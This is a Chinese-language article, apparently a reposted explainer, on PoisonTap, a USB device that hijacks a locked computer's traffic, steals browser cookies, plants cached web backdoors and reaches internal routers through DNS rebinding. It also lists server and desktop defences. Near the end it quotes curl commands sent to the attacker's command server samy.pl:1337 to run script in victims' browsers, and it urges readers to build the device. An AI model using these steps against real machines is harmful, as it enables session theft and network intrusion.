30秒攻破任意密碼保護的電腦

信息安全公益宣傳,信息安全知識啟蒙。

加微信群回復公眾號:微信群;QQ群:16004488

加微信群或QQ群可免費索取:學習教程


近日,著名硬體黑客Samy Kamkar利用5美元設備打造的黑客工具PoisonTap,只需30秒,就可以攻破設置有任意密碼的電腦系統,並實現長期後門安裝。PoisonTap不是暴力破解密碼,而是繞過密碼。

PoisonTap的標配:5美元的樹莓派微型電腦Raspberry Pi Zero、USB適配器、內置免費漏洞利用軟體。

目前,相關軟體和利用工具已在Github提供下載,Raspberry Pi Zero在某寶上也有售賣,感興趣的童鞋可以嘗試打造屬於自己的PoisonTap神器。

以下為PoisonTap官方Github介紹的工作機制,感嘆Samy Kamkar大神天馬行空的思維,同時也深諳自己技藝不精,不足之處,希望大家指正交流。

PoisonTap操作實現:

PoisonTap通吃Windows和Mac系統,一旦插入電腦,將偽裝模擬成新加入的乙太網連接,即使受害者使用WIFI,一樣可以使系統優先接入其偽裝的虛假網路。PoisonTap利用中間人攻擊方式,可以劫持監聽受害者所有網路流量,竊取存儲在瀏覽器里的任意cookie和session,然後發送給控制端。以下為PoisonTap具體操作實現:

通過 USB或Thunderbolt模擬成新加入的乙太網連接設備;

劫持目標系統所有網路連接流量(即使是低優先順序或未知的網路連接)

竊取存儲在瀏覽器內相關Alexa排名前100萬網站cookie和session信息

識別目標網路路由信息,通過遠程outbound方式進行WebSocket或DNS重綁定攻擊

通過HTTP的JS緩存中毒方式實現長期web後門安裝控制,這些緩存後門涉及上千個域名和通用javascript CDN 鏈接

使用用戶cookie對後端域名實現遠程HTTP GET或POST方式控制連接

不需要系統解鎖

移除攻擊載體後,後門保持有效

PoisonTap可以繞過或突破以下安全保護措施:

鎖屏密碼

路由表優先順序設置和網路介面服務順序

同源保護策略

Cookie的HttpOnly安全設置

Cookie的SameSite安全屬性

雙因素或多因素認證

DNS Pinning

跨域資源共享

HTTPS cookie 保護

PoisonTap如何工作:

PoisonTap對系統和網路安全信任機制的攻擊,將會產生一系列連鎖反應,利用USB/Thunderbolt、DHCP、DNS和HTTP方式,可以進行信息竊取、網路入侵和後門安裝。

網路劫持

1 攻擊者向有密碼保護並且鎖屏的電腦系統插入PoisonTap;

2 PoisonTap將會模擬偽裝成一個新加入系統的網路連接,默認情況下,即使在有密碼保護的鎖屏狀態下,Windows、OS X 和Linux系統將會識別該虛假網路連接,並發出DHCP請求;

3 PoisonTap響應DHCP請求,並提供一組經過構造,從0.0.0.0至255.255.255.255,與PoisonTap設備為同一子網的隨機IP地址組合; 通常,在系統使用現有網路連接的情況下,一個附加網路連接的加入,系統會把其默認為低優先順序網路,並繼續使用現有網路網關。

但是,在基於」Internet traffic」的「LANtraffic」情況下,任何路由表/網關優先順序/網路介面服務順序設置都可被繞過。

PoisonTap通過更改原網路連接網關地址,把流量引入自身,進而劫持系統所有網路流量。

Cookie竊取

只要目標系統運行有瀏覽器,打開網頁將會通過AJAX或動態腳本框架(script/iframes)產生各種請求,而由於系統網路流量被完全劫持,

1 PoisonTap將會監聽到所有HTTP請求和響應,並將這些內容發送到PoisonTap的web服務端(Node.js);即使DNS伺服器指向其它內部IP,由於這些內部DNS伺服器將為緩存的域名產生公共IP地址,而這些IP地址已經被PoisonTap劫持,所以攻擊仍然有效

3 當Node web伺服器接收到請求時,PoisonTap會通過HTML或Javascript進行響應(許多網站會在後台請求中載入HTML或JS)

4 然後,HTML / JS-agnostic頁面會生成許多隱藏的iframe,每個iframe中又包括Alexa排名前100萬內的不同網站

通過web後門進行遠程訪問

1當PoisonTap生成上千個iframe之後,將會迫使瀏覽器載入每個iframe,但這些iframe不僅僅是空白頁面,而是無限緩存的HTML + Javascript後門

2 即使用戶當前未登錄,由於PoisonTap已經在每個緩存域名上強制綁定了這些後門,使攻擊者能夠使用Cookie並在將來啟動同源請求

例如,當載入http://nfl.com/PoisonTapiframe時,PoisonTap接受轉向的Internet流量,並通過Node Web伺服器響應HTTP請求

添加了其它HTTP頭以無限緩存頁面

3 實際響應頁面是HTML和Javascript的組合,並由此產生持續有效的WebSocket連接攻擊者web伺服器端(通過互聯網而不是PoisonTap設備)

WebSocket保持開放狀態,允許攻擊者在將來任何時候回連後端機器,並在任何有後門部署的源上執行請求(Alexa排名前100萬個網站-見下文)

如果後門在一個站點(如nfl.com)上打開,但用戶希望攻擊不同的域名(如pinterest.com),攻擊者可以將nfl.com上的iframe載入到pinterest.com後門中(http://pinterest.com/PoisonTap)

同樣,域上的任何「X-Frame-Options」、跨域資源共享和同源策略安全性完全被繞過,因為實際請求的是PoisonTap留下的緩存,而不是真正的域名

內部路由器後門和遠程訪問

1 PoisonTap可以劫持當前網路的實際區域網子網

2 PoisonTap通過在一個特定主機上強制緩存後門,具體來說,在目標路由器的IP後面加上「.ip.samy.pl」,如192.168.0.1.ip.samy.pl,就可以生成一個持久的DNS重綁定攻擊

當使用PoisonTap作為DNS伺服器(受害者使用公共DNS伺服器)時,PoisonTap使用臨時專門的IP(1.0.0.1)進行響應,這意味著此時任何請求都將訪問到PoisonTap Web伺服器

如果DNS伺服器設置為內部網路(如192.168.0.x),1.0.0.1.pin.ip.samy.pl發出一個經過構造的請求,幾秒之後,它將會向我的專用DNS伺服器(公網的)返回任意[ip.address].ip.samy.pl中的IP地址信息

然後,PoisonTap將會在http://192.168.0.1.ip.samy.pl/PoisonTap上快速設置一個後門,而在PoisonTap設備上將指向1.0.0.1,該後門將實現從PoisonTap設備訪問

3 DNSpinning 和DNSrebinding的安全性設置,由於之前做出Alexatop100萬網站請求而耗盡DNS pinning表,最終將被繞過。之後,DNS就不需要重新綁定,使得該攻擊可以持續很長時間

4 現在,後門強制連接到http://192.168.0.1.ip.samy.pl/PoisonTap,任何對192.168.0.1.ip.samy.pl的請求都將訪問到unpinned的IP地址,導致路由器解析直接指向192.168.0.1

5 這意味著如果通過後門遠程在iframe中載入192.168.0.1.ip.samy.pl/PoisonTap指向主機,就可以對內部路由器執行AJAX GET/POST和其它任意頁面,實現完全控制內部路由器

構造請求與DNS伺服器解析的對應關係

[ip.addy].ip.samy.pl normally responds with [ip.addy]

192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)

[ip.addy].pin.ip.samy.pl temporarily (~5 seconds) points *.ip.samy.pl to [ip.addy]

1.0.0.1.pin.ip.samy.pl -> 1.0.0.1

192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL)

基於web遠程訪問的其它後門

1PoisonTap替代了成千上萬常見的,基於CDN的Javascript文件,如Google和jQuery CDNs。如果一個網站或域名載入了受感染中毒的CDN Javascript文件,正確的代碼配合後門,就可以讓攻擊者實現入侵訪問

2由於每個緩存的網站域名都留有後門,即使當前受害者沒有對任何域名執行訪問,攻擊者仍然可以遠程強制後端瀏覽器執行同源請求(AJAX GET / POST)

3當受害者訪問基於HTTP或CDN Javascript緩存中毒的網站時,後門就被觸發

PosionTap安全防範伺服器安全

1 僅使用HTTPS,至少對認證和認證內容使用HTTPS

2確保啟用Cookie安全標記,防止HTTPS Cookie信息泄露

3 當調用遠程Javascript腳本資源時,請使用子資源完整性(SRI)標記屬性

4 使用HSTS防止HTTPS降級攻擊

桌面客戶端安全

1 有必要可以用粘合劑封住USB和Thunderbolt埠

2 每次離開電腦時關閉瀏覽器

3 禁用USB和Thunderbolt埠

4 經常清理瀏覽器的緩存數據

5 在不使用電腦時,讓電腦進入休眠狀態而不是睡眠狀態,在休眠狀態中,電腦中所有的進程都將停止工作,安全性更高

文件介紹:

backdoor.html:每當一個http://hostname/PoisonTapURL請求發生並竊取 cookie信息時,該文件作為返回的強制緩存內容,它包含一個後門並生成一個外連至samy.pl:1337(主機/埠可更改)的websocket,等待伺服器命令。

backend_server.js:這是你在Internet可訪問的Node伺服器,也是backdoor.html連接的內容(例如,samy.pl:1337)。 該伺服器也用來發送命令,如:

# pop alert to victimcurl "http://samy.pl:1337/exec?alert("muahahahaha")"# to set a cookie on victimcurl "http://samy.pl:1337/exec?document.cookie="key=value""# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)curl "http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d){console.log(d)})"

pi_poisontap.js:它通過Raspberry Pi Zero上的Node.js運行,為PoisonTap 的HTTP服務端截獲請求,存儲竊取Cookie並注入緩存後門

pi_startup.sh:在Raspberry Pi Zero上啟動時運行,將設備模擬為USB乙太網配件,設置惡意DHCP伺服器,允許流量重路由,DNS欺騙,並啟動pi_poisontap.js文件

target_backdoor.js: 此文件預先放在任何與CDN相關的Javascript文件中,通過Google CDN』s jQuery URL方式形成後門

target_injected_xhtmljs.html:在受害者系統中注入HTTP / AJAX請求並形成整個攻擊

poisontap.cookies.log: 記錄來自受害者瀏覽器的cookie

修復措施:

目前來說,PoisonTap因為是多種黑客技巧組合而成的攻擊,整個攻擊和利用過程不能明確反映某個產品或系統漏洞,所以,目前來說,沒有一種明確的修復措施。

但Kamkar提出了一種解決方案,希望在系統層面的網路連接切換中加入許可權許可機制,但是蘋果公司沒有對此作出回應,而微軟公司在給記者的回復郵件中表示,PoisonTap是一種物理接入攻擊。

所以,最好的防禦策略就是自己保管好電腦並及時更新系統和軟體。


推薦閱讀:

討債公司收賬的受法律保護嗎?
太極拳---練拳如何保護膝關節
保護膝關節 運動需量力而行
不保護好膝關節 小心你跑的步都白跑了
布希促延長選舉權法保護非裔選民

TAG:密碼 | 保護 | 電腦 |